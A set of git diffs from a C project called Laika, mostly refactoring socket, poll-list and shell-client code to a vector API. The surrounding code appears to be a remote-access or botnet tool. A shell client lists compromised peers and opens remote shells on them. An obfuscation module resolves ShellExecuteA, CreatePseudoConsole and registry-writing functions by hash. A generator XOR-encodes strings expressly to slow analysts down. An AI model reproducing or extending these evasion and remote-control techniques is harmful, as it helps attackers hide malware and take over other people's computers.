pList->outCap = POLLSTARTCAP / GROW_FACTOR;
pList->outCount = 0;
/* laikaP_pollList() will allocate these buffer */
laikaM_initVector(pList->revents, POLLSTARTCAP / GROW_FACTOR);
laikaM_initVector(pList->outQueue, POLLSTARTCAP / GROW_FACTOR);
#ifdef LAIKA_USE_EPOLL
/* setup our epoll */
@@ -48,11 +46,8 @@ void laikaP_initPList(struct sLaika_pollList *pList)
LAIKA_ERROR("epoll_create() failed!\n");
#else
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
pList->fdCapacity =
POLLSTARTCAP /
GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
pList->fdCount = 0;
/* laikaP_addSock will allocate this buffer */
laikaM_initVector(pList->fds, POLLSTARTCAP / GROW_FACTOR);
#endif
}
@@ -85,8 +80,8 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
#else
/* allocate space in array & add PollFD */
laikaM_growarray(PollFD, pList->fds, 1, pList->fdCount, pList->fdCapacity);
pList->fds[pList->fdCount++] = (PollFD){sock->sock, POLLIN};
laikaM_growVector(PollFD, pList->fds, 1);
pList->fds[laikaM_countVector(pList->fds)++] = (PollFD){sock->sock, POLLIN};
#endif
}
@@ -98,9 +93,9 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
hashmap_delete(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
/* make sure peer isn't in outQueue */
for (i = 0; i < pList->outCount; i++) {
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
if ((void *)pList->outQueue[i] == (void *)sock) {
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
laikaM_rmvVector(pList->outQueue, i, 1);
}
}
@@ -114,10 +109,10 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
#else
/* search fds for socket, remove it and shrink array */
for (i = 0; i < pList->fdCount; i++) {
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
if (pList->fds[i].fd == sock->sock) {
/* remove from array */
laikaM_rmvarray(pList->fds, pList->fdCount, i, 1);
laikaM_rmvVector(pList->fds, i, 1);
break;
}
}
@@ -140,7 +135,7 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
int i;
/* search fds for socket, add POLLOUT flag */
for (i = 0; i < pList->fdCount; i++) {
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
if (pList->fds[i].fd == sock->sock) {
pList->fds[i].events = POLLIN | POLLOUT;
break;
@@ -167,7 +162,7 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
int i;
/* search fds for socket, remove POLLOUT flag */
for (i = 0; i < pList->fdCount; i++) {
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
if (pList->fds[i].fd == sock->sock) {
pList->fds[i].events = POLLIN;
break;
@@ -183,18 +178,18 @@ void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *so
int i;
/* first, check that we don't have this peer in the queue already */
for (i = 0; i < pList->outCount; i++) {
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
if (pList->outQueue[i] == sock)
return; /* found it :) */
}
laikaM_growarray(struct sLaika_socket *, pList->outQueue, 1, pList->outCount, pList->outCap);
pList->outQueue[pList->outCount++] = sock;
laikaM_growVector(struct sLaika_socket *, pList->outQueue, 1);
pList->outQueue[laikaM_countVector(pList->outQueue)++] = sock;
}
void laikaP_resetOutQueue(struct sLaika_pollList *pList)
{
pList->outCount = 0; /* ez lol */
laikaM_countVector(pList->outQueue) = 0; /* ez lol */
}
void laikaP_flushOutQueue(struct sLaika_pollList *pList)
@@ -203,7 +198,7 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList)
int i;
/* flush pList's outQueue */
for (i = 0; i < pList->outCount; i++) {
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
sock = pList->outQueue[i];
LAIKA_DEBUG("sending OUT to %p\n", sock);
if (sock->onPollOut && !sock->onPollOut(sock) && sock->onPollFail)
@@ -216,7 +211,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
{
int nEvents, i;
pList->reventCount = 0; /* reset revent array */
laikaM_countVector(pList->revents) = 0; /* reset revent array */
#ifdef LAIKA_USE_EPOLL
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a
lookup into our socket hashmap not to mention the various improvements epoll() has over
@@ -229,22 +224,21 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
for (i = 0; i < nEvents; i++) {
/* add event to revent array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
pList->reventCap);
pList->revents[pList->reventCount++] =
laikaM_growVector(struct sLaika_pollEvent, pList->revents, 1);
pList->revents[laikaM_countVector(pList->revents)++] =
(struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr,
.pollIn = pList->ep_events[i].events & EPOLLIN,
.pollOut = pList->ep_events[i].events & EPOLLOUT};
}
#else
nEvents = poll(pList->fds, pList->fdCount,
timeout); /* poll returns -1 for error, or the number of events */
/* poll returns -1 for error, or the number of events */
nEvents = poll(pList->fds, laikaM_countVector(pList->fds), timeout);
if (SOCKETERROR(nEvents))
LAIKA_ERROR("poll() failed!\n");
/* walk through the returned poll fds, if they have an event, add it to our revents array */
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
for (i = 0; i < laikaM_countVector(pList->fds) && nEvents > 0; i++) {
PollFD pfd = pList->fds[i];
if (pList->fds[i].revents != 0) {
/* grab socket from hashmap */
@@ -252,9 +246,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
/* insert event into revents array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
pList->reventCap);
pList->revents[pList->reventCount++] =
laikaM_growVector(struct sLaika_pollEvent, pList->revents, 1);
pList->revents[laikaM_countVector(pList->revents)++] =
(struct sLaika_pollEvent){.sock = elem->sock,
.pollIn = pfd.revents & POLLIN,
.pollOut = pfd.revents & POLLOUT};
@@ -264,7 +257,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
}
#endif
*_nevents = pList->reventCount;
*_nevents = laikaM_countVector(pList->revents);
/* return revents array */
return pList->revents;

View File

@@ -1,24 +1,13 @@
#include "lsocket.h"
#include "net/lsocket.h"
#include "lerror.h"
#include "lmem.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsodium.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "net/lpacket.h"
#include "net/lpolllist.h"
static int _LNSetup = 0;
bool laikaS_isBigEndian(void)
{
union
{
uint32_t i;
uint8_t c[4];
} _indxint = {0xDEADB33F};
return _indxint.c[0] == 0xDE;
}
void laikaS_init(void)
{
if (_LNSetup++ > 0)
@@ -42,6 +31,8 @@ void laikaS_cleanUp(void)
#endif
}
/* ======================================[[ Socket API ]]======================================= */
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData)
{
@@ -50,12 +41,8 @@ void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent
sock->onPollIn = onPollIn;
sock->onPollOut = onPollOut;
sock->uData = uData;
sock->inBuf = NULL;
sock->inCap = 8;
sock->inCount = 0;
sock->outBuf = NULL;
sock->outCap = 8;
sock->outCount = 0;
laikaM_initVector(sock->inBuf, 8);
laikaM_initVector(sock->outBuf, 8);
sock->flipEndian = false;
sock->setPollOut = false;
@@ -195,46 +182,48 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock)
return true;
}
/* =====================================[[ Socket stream ]]===================================== */
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
{
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
laikaM_rmvVector(sock->inBuf, 0, sz);
}
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz)
{
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
laikaM_growVector(uint8_t, sock->outBuf, sz);
/* set NULL bytes */
memset(&sock->outBuf[sock->outCount], 0, sz);
sock->outCount += sz;
memset(&sock->outBuf[laikaM_countVector(sock->outBuf)], 0, sz);
laikaM_countVector(sock->outBuf) += sz;
}
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz)
{
memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
laikaM_rmvVector(sock->inBuf, 0, sz);
}
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz)
{
/* make sure we have enough space to copy the buffer */
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
laikaM_growVector(uint8_t, sock->outBuf, sz);
/* copy the buffer, then increment outCount */
memcpy(&sock->outBuf[sock->outCount], buf, sz);
sock->outCount += sz;
memcpy(&sock->outBuf[laikaM_countVector(sock->outBuf)], buf, sz);
laikaM_countVector(sock->outBuf) += sz;
}
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub)
{
/* make sure we have enough space to encrypt the buffer */
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
laikaM_growVector(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz));
/* encrypt the buffer into outBuf */
if (crypto_box_seal(&sock->outBuf[sock->outCount], buf, sz, pub) != 0)
if (crypto_box_seal(&sock->outBuf[laikaM_countVector(sock->outBuf)], buf, sz, pub) != 0)
LAIKA_ERROR("Failed to encrypt!\n");
sock->outCount += LAIKAENC_SIZE(sz);
laikaM_countVector(sock->outBuf) += LAIKAENC_SIZE(sz);
}
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
@@ -244,108 +233,68 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
LAIKA_ERROR("Failed to decrypt!\n");
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
laikaM_rmvVector(sock->inBuf, 0, LAIKAENC_SIZE(sz));
}
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data)
{
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
sock->outBuf[sock->outCount++] = data;
laikaM_growVector(uint8_t, sock->outBuf, 1);
sock->outBuf[laikaM_countVector(sock->outBuf)++] = data;
}
uint8_t laikaS_readByte(struct sLaika_socket *sock)
{
uint8_t tmp = *sock->inBuf;
/* pop 1 byte */
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, 1);
/* consume 1 byte */
laikaM_rmvVector(sock->inBuf, 0, 1);
return tmp;
}
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i)
{
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
uint16_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
laikaS_read(sock, (void *)tmp, sz);
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
/* copy tmp buffer to user buffer, flipping endianness */
for (k = 0; k < sz; k++)
*((uint8_t *)buf + k) = tmp[sz - k - 1];
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_read */
laikaS_read(sock, buf, sz);
}
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
}
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
uint16_t laikaS_readu16(struct sLaika_socket *sock)
{
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
uint16_t tmp;
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
/* copy user buffer to tmp buffer, flipping endianness */
for (k = 0; k < sz; k++)
tmp[k] = *((uint8_t *)buf + (sz - k - 1));
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
laikaS_write(sock, (void *)tmp, sz);
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_write */
laikaS_write(sock, buf, sz);
}
return tmp;
}
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = sock->inCount;
uint32_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
/* sanity check */
if (sz == 0)
return RAWSOCK_OK;
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
/* make sure we have enough space to recv */
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
if (rcvd == 0) {
errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) &&
LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif
) {
/* if the socket closed or an error occurred, return the error result */
errCode = RAWSOCK_ERROR;
} else if (rcvd > 0) {
#if 0
/* for debugging */
printf("---recv'd %d bytes---\n", rcvd);
for (i = 1; i <= rcvd; i++) {
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
if (i % 16 == 0) {
printf("\n");
} else if (i % 8 == 0) {
printf("\t");
}
}
printf("\n");
#endif
/* recv() worked, add rcvd to inCount */
sock->inCount += rcvd;
}
*processed = rcvd;
return errCode;
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
}
uint32_t laikaS_readu32(struct sLaika_socket *sock)
{
uint32_t tmp;
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
return tmp;
}
/* ===================================[[ Socket send/recv ]]==================================== */
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
@@ -382,23 +331,43 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
} while ((sentBytes += sent) < sz);
_rawWriteExit:
#if 0
/* for debugging */
printf("---sent %d bytes---\n", sent);
for (i = 1; i <= sentBytes; i++) {
printf("%.2x ", sock->outBuf[i-1]);
if (i % 16 == 0) {
printf("\n");
} else if (i % 8 == 0) {
printf("\t");
}
}
printf("\n");
#endif
/* trim sent data from outBuf */
laikaM_rmvarray(sock->outBuf, sock->outCount, 0, sentBytes);
laikaM_rmvVector(sock->outBuf, 0, sentBytes);
*processed = sentBytes;
return errCode;
}
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = laikaM_countVector(sock->inBuf);
/* sanity check */
if (sz == 0)
return RAWSOCK_OK;
/* make sure we have enough space to recv */
laikaM_growVector(uint8_t, sock->inBuf, sz);
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[laikaM_countVector(sock->inBuf)], sz,
LN_MSG_NOSIGNAL);
if (rcvd == 0) {
errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) &&
LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif
) {
/* if the socket closed or an error occurred, return the error result */
errCode = RAWSOCK_ERROR;
} else if (rcvd > 0) {
/* recv() worked, add rcvd to inCount */
laikaM_countVector(sock->inBuf) += rcvd;
}
*processed = rcvd;
return errCode;
}

View File

@@ -137,6 +137,7 @@ _findByHashFail:
/* ======================================[[ Exposed API ]]====================================== */
#ifdef LAIKA_OBFUSCATE
_ShellExecuteA oShellExecuteA;
_CreatePseudoConsole oCreatePseudoConsole;
_ClosePseudoConsole oClosePseudoConsole;
@@ -164,3 +165,9 @@ void laikaO_init()
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
}
#else
void laikaO_init()
{
/* stubbed!! */
}
#endif

View File

@@ -13,8 +13,5 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
target_link_libraries(LaikaShell PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory
target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})

View File

@@ -1,10 +1,11 @@
#ifndef SHELLCLIENT_H
#define SHELLCLIENT_H
#include "hashmap.h"
#include "lpeer.h"
#include "lsodium.h"
#include "ltask.h"
#include "core/hashmap.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/ltask.h"
#include "net/lpeer.h"
#include "speer.h"
typedef struct sShell_client
@@ -15,9 +16,7 @@ typedef struct sShell_client
struct sLaika_peer *peer;
tShell_peer *openShell; /* if not NULL, shell is open on peer */
struct hashmap *peers;
tShell_peer **peerTbl;
int peerTblCount;
int peerTblCap;
laikaM_newVector(tShell_peer *, peerTbl);
} tShell_client;
#define shellC_isShellOpen(x) (x->openShell != NULL)

View File

@@ -1,8 +1,8 @@
#ifndef SHELLPEER_H
#define SHELLPEER_H
#include "lpeer.h"
#include "lsodium.h"
#include "core/lsodium.h"
#include "net/lpeer.h"
typedef struct sShell_peer
{

View File

@@ -1,4 +1,4 @@
#include "ini.h"
#include "core/ini.h"
#include "sclient.h"
#include "sterm.h"

View File

@@ -1,9 +1,9 @@
#include "sclient.h"
#include "lerror.h"
#include "lmem.h"
#include "lpacket.h"
#include "lsodium.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "net/lpacket.h"
#include "sterm.h"
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
@@ -45,7 +45,7 @@ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);
@@ -134,7 +134,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
sz -= sizeof(uint32_t);
/* sanity check */
@@ -150,7 +150,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
tShell_client *client = (tShell_client *)uData;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
/* sanity check */
if (!shellC_isShellOpen(client))
@@ -217,9 +217,7 @@ void shellC_init(tShell_client *client)
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash,
shell_ElemCompare, NULL, NULL);
client->openShell = NULL;
client->peerTbl = NULL;
client->peerTblCap = 4;
client->peerTblCount = 0;
laikaM_initVector(client->peerTbl, 4);
laikaT_initTaskService(&client->tService);
laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
@@ -254,7 +252,7 @@ void shellC_cleanup(tShell_client *client)
laikaT_cleanTaskService(&client->tService);
/* free peers */
for (i = 0; i < client->peerTblCount; i++) {
for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
if (client->peerTbl[i])
shellP_freePeer(client->peerTbl[i]);
}
@@ -346,16 +344,15 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer)
{
/* find empty ID */
int id;
for (id = 0; id < client->peerTblCount; id++) {
for (id = 0; id < laikaM_countVector(client->peerTbl); id++) {
if (client->peerTbl[id] == NULL) /* it's empty! */
break;
}
/* if we didn't find an empty id, grow the array */
if (id == client->peerTblCount) {
laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount,
client->peerTblCap);
client->peerTblCount++;
/* if we didn't find an empty id, grow the array (ID is already set to the correct index) */
if (id == laikaM_countVector(client->peerTbl)) {
laikaM_growVector(tShell_peer *, client->peerTbl, 1);
laikaM_countVector(client->peerTbl)++;
}
/* add to peer lookup table */
@@ -399,8 +396,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
/* send SHELL_OPEN request */
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
laikaS_writeInt(&client->peer->sock, &col, sizeof(uint16_t));
laikaS_writeInt(&client->peer->sock, &row, sizeof(uint16_t));
laikaS_writeu16(&client->peer->sock, col);
laikaS_writeu16(&client->peer->sock, row);
laikaS_endOutPacket(client->peer);
client->openShell = peer;
}
@@ -414,7 +411,7 @@ void shellC_closeShell(tShell_client *client)
/* send SHELL_CLOSE request */
laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&client->peer->sock, id);
laikaS_endOutPacket(client->peer);
client->openShell = NULL;
@@ -429,7 +426,7 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
return;
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &id, sizeof(uint32_t));
laikaS_writeu32(sock, id);
switch (client->openShell->osType) {
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
converted! */

View File

@@ -1,7 +1,7 @@
#include "scmd.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "sclient.h"
#include "speer.h"
#include "sterm.h"
@@ -23,7 +23,7 @@ tShell_cmdDef *shellS_findCmd(char *cmd);
tShell_peer *shellS_getPeer(tShell_client *client, int id)
{
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
if (id < 0 || id >= laikaM_countVector(client->peerTbl) || client->peerTbl[id] == NULL)
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
return client->peerTbl[id];
@@ -48,7 +48,7 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[])
{
int i;
for (i = 0; i < client->peerTblCount; i++) {
for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
if (client->peerTbl[i]) {
shellT_printf("%04d ", i);
shellP_printInfo(client->peerTbl[i]);
@@ -172,11 +172,10 @@ void shellS_cleanupCmds(void)
char **shellS_splitCmd(char *cmd, int *argSize)
{
int argCount = 0;
int argCap = 4;
char *temp;
char **args = NULL;
char *arg = cmd;
laikaM_newVector(char *, args);
laikaM_initVector(args, 4);
do {
/* replace space with NULL terminator */
@@ -192,12 +191,12 @@ char **shellS_splitCmd(char *cmd, int *argSize)
*arg++ = '\0';
}
/* insert into our 'args' array */
laikaM_growarray(char *, args, 1, argCount, argCap);
args[argCount++] = arg;
/* insert into our 'args' vector */
laikaM_growVector(char *, args, 1);
args[laikaM_countVector(args)++] = arg;
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
*argSize = argCount;
*argSize = laikaM_countVector(args);
return args;
}

View File

@@ -1,7 +1,7 @@
#include "speer.h"
#include "lmem.h"
#include "lpacket.h"
#include "core/lmem.h"
#include "net/lpacket.h"
#include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,

View File

@@ -1,6 +1,6 @@
#include "sterm.h"
#include "lmem.h"
#include "core/lmem.h"
#include "scmd.h"
#define KEY_ESCAPE 0x001b
@@ -15,8 +15,42 @@
#define cursorBackward(x) printf("\033[%dD", (x))
#define clearLine() printf("\033[2K")
/* =================================[[ DEPRECATED ARRAY API ]]================================== */
/*
this whole target needs to be rewritten, so these macros have been embedded here until a
rewrite can be done. this is the only section of the entire codebase that relies too heavily
on these to quickly exchange into the vector api equivalent. there's technically a memory leak
here since the array is never free'd, but since the array is expected to live the entire
lifetime of the program it's safe to leave as-is for now.
*/
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) \
do { \
int _i, _sz = ((count - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx + _i] = buf[indx + numElem + _i]; \
count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) \
do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i - 1]; \
count += numElem; \
} while (0);
struct termios orig_termios;
char *cmd, *prompt = "$> ";
char *cmd = NULL, *prompt = "$> ";
int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
void shellT_conioTerm(void)

View File

@@ -9,6 +9,3 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(genKey ${GENKEYSOURCE})
target_link_libraries(genKey PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(genKey PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

View File

@@ -1,5 +1,5 @@
#include "lerror.h"
#include "lsodium.h"
#include "core/lerror.h"
#include "core/lsodium.h"
#include <stdio.h>
#include <string.h>

View File

@@ -10,9 +10,6 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(VMBoxGen ${VMTESTSOURCE})
target_link_libraries(VMBoxGen PUBLIC)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# generate the VMBOXCONFIG file
if(LAIKA_OBFUSCATE)
add_custom_command(TARGET VMBoxGen POST_BUILD

View File

@@ -13,11 +13,12 @@
} while (0);
#define RANDBYTE (rand() % UINT8_MAX)
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
"#ifndef LAIKA_VMBOX_CONFIG_H\n"
"#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n";
void writeArray(FILE *out, uint8_t *data, int sz)
static void writeArray(FILE *out, uint8_t *data, int sz)
{
int i;
@@ -28,18 +29,18 @@ void writeArray(FILE *out, uint8_t *data, int sz)
fprintf(out, "0x%02x};\n", data[sz - 1]);
}
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
{
fprintf(out, "#define %s ", ident);
writeArray(out, data, LAIKA_VM_CODESIZE);
}
void writeDefineVal(FILE *out, char *ident, int data)
static void writeDefineVal(FILE *out, char *ident, int data)
{
fprintf(out, "#define %s 0x%02x\n", ident, data);
}
void addPadding(uint8_t *data, int start)
static void addPadding(uint8_t *data, int start)
{
int i;
@@ -49,15 +50,15 @@ void addPadding(uint8_t *data, int start)
}
}
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
{
int i;
for (i = 0; i < sz; i++)
buff[i] = data[i] ^ key;
buff[i++] = key; /* add the null terminator */
addPadding(buff, i);
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
}
#define MAKESKIDDATA(macro) \
@@ -69,14 +70,17 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
int main(int argv, char **argc)
{
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
int key;
FILE *out;
char *fileName;
int key;
if (argv < 2)
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
if ((out = fopen(argc[1], "w+")) == NULL)
ERR("Failed to open %s!\n", argc[1]);
/* open output file */
fileName = argc[1];
if ((out = fopen(fileName, "w+")) == NULL)
ERR("Failed to open %s!\n", fileName);
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
slow them down */
@@ -100,8 +104,8 @@ int main(int argv, char **argc)
fprintf(out, POSTAMBLE);
fclose(out);
printf("Wrote %s\n", argc[1]);
printf("Laika VMBox data header dumped to '%s'\n", fileName);
return 0;
}
#undef MAKEDATA
#undef MAKESKIDDATA

View File

